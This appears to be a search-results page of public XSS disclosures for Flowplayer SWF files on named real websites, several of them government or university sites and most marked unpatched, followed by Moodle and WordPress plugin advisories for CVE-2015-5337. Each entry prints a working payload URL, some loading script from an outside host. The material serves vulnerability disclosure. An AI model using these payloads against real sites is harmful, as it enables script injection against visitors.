330 matches found
jeju.go.kr XSS vulnerability
Vulnerable URL: http://www.jeju.go.kr/pub/plugin/SpiderLivePlayer/flowplayer-3.2.18.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| Yes, at 03.07.2017 Latest check for patch:| 03.07.2017 06:02 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...
northyorks.gov.uk XSS vulnerability
Vulnerable URL: http://www.northyorks.gov.uk/flowplayer/flowplayer-3.1.1.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 205683 VIP website...
joewalsh.ca XSS vulnerability
Vulnerable URL: http://www.joewalsh.ca/evp/player/flowplayer-3.2.4/flowplayer-3.2.4.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 10014066...
depts.washington.edu XSS vulnerability
Vulnerable URL: https://depts.washington.edu/pmedic/sites/all/modules/flowplayer/flowplayer/flowplayer.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...
ai.stanford.edu XSS vulnerability
Vulnerable URL: http://ai.stanford.edu/ang/cs294a/flowplayer/flowplayer-3.1.5.swf?config=http://www.birb.online/xss.jshttp://ai.stanford.edu/ang/cs294a/flowplayer/flowplayer-3.1.5.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:|...
tectonics.caltech.edu XSS vulnerability
Vulnerable URL: https://www.tectonics.caltech.edu/movies/flowplayer/flowplayer-3.2.7.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown...
gopost.usps.com XSS vulnerability
Vulnerable URL: https://gopost.usps.com/media/video/flowplayer/swf/flowplayer-3.2.7.swf?config=http://www.birb.online/xss.js Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown ...
doc.ri.gov XSS vulnerability
Vulnerable URL: http://www.doc.ri.gov/RIDOCTour/FlowPlayer.swf?config=playList: url: "http://stream.flowplayer.org/bauhaus/624x260.mp4", linkUrl: "javascript:confirm'OPENBUGBOUNTY'"&.swf Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS...
alumni-informatik-dortmund.de XSS vulnerability
Vulnerable URL: https://alumni-informatik-dortmund.de/modules/flowplayer/flowplayer/flowplayer.swf?config=%22clip%22:%22url%22:%22http://stream.flowplayer.org/bauhaus/624x260.mp4%22,%22linkUrl%22:%22javascript:confirm%28String.fromCharCode%2879,80,69,78,66,85,71,66,79,85,78,84,89%29%29;%22&.swf...
bioness.com XSS vulnerability
Vulnerable URL: https://www.bioness.com/prebuilt/flash/FlowPlayer.swf?config=playList:%20%20url:%20%22http://stream.flowplayer.org/bauhaus/624x260.mp4%22,%20linkUrl:%20%22javascript:confirm%28%27OPENBUGBOUNTY%27%29%22&.swf Details: Description| Value ---|--- Patched:| No Latest check for patch:|...
Moodle < 2.7.11 / 2.8.x < 2.8.9 / 2.9.x < 2.9.3 Multiple Vulnerabilities
Binary data 9191.prm...
The vulnerability of the Moodle learning management system allows attackers to carry out XSS attacks.
The vulnerability of the Moodle learning management system is related to the insufficient restrictions on the use of the Flowplayer component. Exploiting this vulnerability could allow a malicious actor to carry out XSS attacks using a specially created .swf file...
CVE-2015-5337
Moodle through 2.6.11, 2.7.x before 2.7.11, 2.8.x before 2.8.9, and 2.9.x before 2.9.3 does not properly restrict the availability of Flowplayer, which allows remote attackers to conduct cross-site scripting XSS attacks via a crafted .swf file...
Cross site scripting
Moodle through 2.6.11, 2.7.x before 2.7.11, 2.8.x before 2.8.9, and 2.9.x before 2.9.3 does not properly restrict the availability of Flowplayer, which allows remote attackers to conduct cross-site scripting XSS attacks via a crafted .swf file...
CVE-2015-5337
Moodle through 2.6.11, 2.7.x before 2.7.11, 2.8.x before 2.8.9, and 2.9.x before 2.9.3 does not properly restrict the availability of Flowplayer, which allows remote attackers to conduct cross-site scripting XSS attacks via a crafted .swf file...
UBUNTU-CVE-2015-5337
Moodle through 2.6.11, 2.7.x before 2.7.11, 2.8.x before 2.8.9, and 2.9.x before 2.9.3 does not properly restrict the availability of Flowplayer, which allows remote attackers to conduct cross-site scripting XSS attacks via a crafted .swf file...
CVE-2015-5337
Moodle through 2.6.11, 2.7.x before 2.7.11, 2.8.x before 2.8.9, and 2.9.x before 2.9.3 does not properly restrict the availability of Flowplayer, which allows remote attackers to conduct cross-site scripting XSS attacks via a crafted .swf file...
CVE-2015-5337: Improper Neutralization of Input During Web Page Generation
Moodle through 2.6.11, 2.7.x before 2.7.11, 2.8.x before 2.8.9, and 2.9.x before 2.9.3 does not properly restrict the availability of Flowplayer, which allows remote attackers to conduct cross-site scripting XSS attacks via a crafted .swf file...
FV Flowplayer Video Player <= 6.0.3.3 - Authenticated Stored Cross-Site Scripting (XSS)
The FV Flowplayer Video Player WordPress plugin was affected by an Authenticated Stored Cross-Site Scripting XSS security vulnerability...
WordPress Flowplayer Plugin <= 6.0.3.3 - Stored Cross Site Scripting
Because of this vulnerability, authenticated administrators can store HTML or JS code in plugin configuration values. Solution Upgrade this plugin...